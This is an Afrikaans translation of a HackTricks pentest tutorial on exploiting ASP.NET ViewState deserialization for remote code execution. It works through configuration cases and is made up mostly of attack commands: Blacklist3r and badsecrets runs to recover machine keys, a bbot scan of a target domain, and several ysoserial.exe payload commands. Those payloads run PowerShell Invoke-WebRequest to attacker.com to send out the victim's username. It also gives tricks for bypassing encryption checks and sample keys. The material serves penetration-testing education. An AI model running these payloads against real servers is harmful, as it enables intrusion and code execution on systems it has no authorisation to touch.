Exploiting __VIEWSTATE without knowing the secrets

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om belonings tot $100,000 te verdien!

Wat is ViewState

ViewState dien as die verstek meganisme in ASP.NET om bladsy- en beheerdata oor webbladsye te handhaaf. Tydens die weergawe van 'n bladsy se HTML word die huidige toestand van die bladsy en waardes wat tydens 'n terugroep bewaar moet word, geserializeer na base64-geënkripteerde strings. Hierdie strings word dan in verborge ViewState-velde geplaas.

ViewState-inligting kan gekenmerk word deur die volgende eienskappe of hul kombinasies:

  • Base64:

  • Hierdie formaat word gebruik wanneer beide EnableViewStateMac en ViewStateEncryptionMode eienskappe op vals gestel is.

  • Base64 + MAC (Boodskap-verifikasiekode) Geaktiveer:

  • Aktivering van MAC word bereik deur die EnableViewStateMac eienskap na waar te stel. Dit bied integriteitsverifikasie vir ViewState-data.

  • Base64 + Geënkripteer:

  • Versleuteling word toegepas wanneer die ViewStateEncryptionMode eienskap na waar gestel is, wat die vertroulikheid van ViewState-data verseker.

Toetsgevalle

Die beeld is 'n tabel wat verskillende konfigurasies vir ViewState in ASP.NET beskryf gebaseer op die .NET-raamwerkweergawe. Hier is 'n opsomming van die inhoud:

  1. Vir enige weergawe van .NET, wanneer beide MAC en Versleuteling gedeaktiveer is, is 'n MachineKey nie nodig nie, en daar is dus geen toepaslike metode om dit te identifiseer nie.

  2. Vir weergawes onder 4.5, as MAC geaktiveer is maar Versleuteling nie, is 'n MachineKey nodig. Die metode om die MachineKey te identifiseer word verwys na as "Blacklist3r."

  3. Vir weergawes onder 4.5, ongeag of MAC geaktiveer of gedeaktiveer is, as Versleuteling geaktiveer is, is 'n MachineKey nodig. Die identifisering van die MachineKey is 'n taak vir "Blacklist3r - Toekomstige Ontwikkeling."

  4. Vir weergawes 4.5 en hoër, vereis alle kombinasies van MAC en Versleuteling (of beide is waar, of een is waar en die ander vals) 'n MachineKey. Die MachineKey kan geïdentifiseer word deur "Blacklist3r."

Toetsgeval: 1 – EnableViewStateMac=false en viewStateEncryptionMode=false

Dit is ook moontlik om die ViewStateMAC heeltemal te deaktiveer deur die AspNetEnforceViewStateMac register sleutel na nul in te stel:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifiseer ViewState Eienskappe

Jy kan probeer om te identifiseer of ViewState deur MAC beskerm word deur 'n versoek wat hierdie parameter bevat vas te vang met BurpSuite. As Mac nie gebruik word om die parameter te beskerm nie, kan jy dit uitbuit deur YSoSerial.Net te gebruik.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Toetsgeval 1.5 - Soos Toetsgeval 1 maar die ViewState-koekie word nie deur die bediener gestuur nie

Ontwikkelaars kan ViewState verwyder sodat dit nie deel word van 'n HTTP-versoek nie (die gebruiker sal hierdie koekie nie ontvang nie). 'n Persoon mag aanneem dat as ViewState nie teenwoordig is nie, hul implementering veilig is teen enige potensiële kwesbaarhede wat mag voortspruit uit ViewState-deserialisering. Dit is egter nie die geval nie. As ons die ViewState-parameter by die versoekliggaam voeg en ons geserialiseerde lading wat met ysoserial geskep is, stuur, sal ons steeds kodes uitvoer kan bereik soos in Geval 1 getoon.

Toetsgeval: 2 - .Net < 4.5 en EnableViewStateMac=true & ViewStateEncryptionMode=false

Om ViewState MAC te aktiveer vir 'n spesifieke bladsy moet ons die volgende veranderinge maak aan 'n spesifieke aspx-lêer:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Ons kan dit ook vir die algehele aansoek doen deur dit in die web.config lêer in te stel soos hieronder getoon:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

As die parameter hierdie keer MAC beskerm word, moet ons eers die sleutel wat gebruik word, vind om die aanval suksesvol uit te voer.

Jy kan probeer om Blacklist3r(AspDotNetWrapper.exe) te gebruik om die gebruikte sleutel te vind.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets is nog 'n instrument wat bekende machineKeys kan identifiseer. Dit is geskryf in Python, soos Blacklist3r, is daar geen Windows-afhanklikheid nie. Vir .NET viewstates is daar 'n "python blacklist3r" nut, wat die vinnigste manier is om dit te gebruik.

Dit kan of met die viewstate en generator direk voorsien word:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Of dit kan direk na die teiken-URL verbind en probeer om die viewstate uit die HTML te sny:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Om te soek na kwesbare viewstates op skaal, in samehang met subdomeinversameling, kan die badsecrets BBOT module gebruik word:

bbot -f subdomain-enum -m badsecrets -t evil.corp

Indien jy gelukkig is en die sleutel gevind word, kan jy voortgaan met die aanval deur YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

In gevalle waar die _VIEWSTATEGENERATOR-parameter nie deur die bediener gestuur word nie, hoef jy nie die --generator-parameter te voorsien nie, maar hierdie:

--apppath="/" --path="/hello.aspx"

Toetsgeval: 3 - .Net < 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true

In hierdie geval is dit nie bekend of die parameter beskerm word met MAC nie. Dan is die waarde waarskynlik versleutel en jy sal die Machine Key nodig hê om jou lading te versleutel om die kwesbaarheid te benut.

In hierdie geval is die Blacklist3r module in ontwikkeling...

Voor .NET 4.5, kan ASP.NET 'n ongeslote ___VIEWSTATE_parameter van die gebruikers aanvaar, selfs as ViewStateEncryptionMode op Always ingestel is. ASP.NET kontroleer slegs die teenwoordigheid van die __VIEWSTATEENCRYPTED parameter in die versoek. As hierdie parameter verwyder word, en die onversleutelde lading gestuur word, sal dit steeds verwerk word.

Daarom, as aanvallers 'n manier vind om die Machinekey te kry via 'n ander kwesbaarheid soos lêertraversal, kan YSoSerial.Net bevel wat in Geval 2 gebruik is, gebruik word om RCE uit te voer deur gebruik te maak van ViewState deserialisasie kwesbaarheid.

  • Verwyder die __VIEWSTATEENCRYPTED parameter uit die versoek om die ViewState deserialisasie kwesbaarheid te benut, anders sal dit 'n Viewstate MAC-valideringsfout teruggee en sal die benutting misluk.

Toetsgeval: 4 - .Net >= 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true/false behalwe beide eienskappe op false

Ons kan die gebruik van die ASP.NET-raamwerk afdwing deur die onderstaande parameter binne die web.config-lêer te spesifiseer soos hieronder aangedui.

<httpRuntime targetFramework="4.5" />

Alternatiewelik kan dit gedoen word deur die onderstaande opsie te spesifiseer binne die machineKey parameter van die web.config lêer.

compatibilityMode="Framework45"

Soos in die vorige voorbeeld is die waarde versleutel. Dan, om 'n geldige lading te stuur, het die aanvaller die sleutel nodig.

Jy kan probeer om Blacklist3r(AspDotNetWrapper.exe) te gebruik om die gebruikte sleutel te vind:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Vir 'n meer gedetailleerde beskrywing van IISDirPath en TargetPagePath verwys hierheen

Of, met Badsecrets (met 'n generatorwaarde):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Sodra 'n geldige Masjien sleutel geïdentifiseer is, is die volgende stap om 'n geserializeerde lading te genereer met behulp van YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Indien jy die waarde van __VIEWSTATEGENERATOR het, kan jy probeer om die --generator parameter te gebruik met daardie waarde en die parameters --path en --apppath weg te laat.

'n Suksesvolle uitbuiting van die ViewState deserialisasie kwesbaarheid sal lei tot 'n out-of-band versoek na 'n aanvaller-beheerde bediener, wat die gebruikersnaam insluit. Hierdie soort uitbuiting word gedemonstreer in 'n bewys van konsep (PoC) wat gevind kan word deur 'n hulpbron getiteld "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Vir verdere besonderhede oor hoe die uitbuitingsproses werk en hoe om gereedskap soos Blacklist3r te gebruik om die MachineKey te identifiseer, kan jy die verskafte PoC van Suksesvolle Uitbuiting nagaan.

Toetsgeval 6 – ViewStateUserKeys word gebruik

Die ViewStateUserKey eienskap kan gebruik word om teen 'n CSRF-aanval te verdedig. As so 'n sleutel in die aansoek gedefinieer is en ons probeer om die ViewState lading te genereer met die besproke metodes tot dusver, sal die lading nie deur die aansoek verwerk word nie. Jy moet nog 'n parameter gebruik om die lading korrek te skep:

--viewstateuserkey="randomstringdefinedintheserver"

Resultaat van 'n Suksesvolle Uitbuiting

Vir al die toetsgevalle, as die ViewState YSoSerial.Net lading suksesvol werk, reageer die bediener met " 500 Interne bedienerfout" met 'n responsinhoud van " Die staat inligting is ongeldig vir hierdie bladsy en kan beskadig wees" en ons kry die OOB versoek.

Kyk vir verdere inligting hier

Verwysings

Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om belonings te verdien tot $100,000!

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated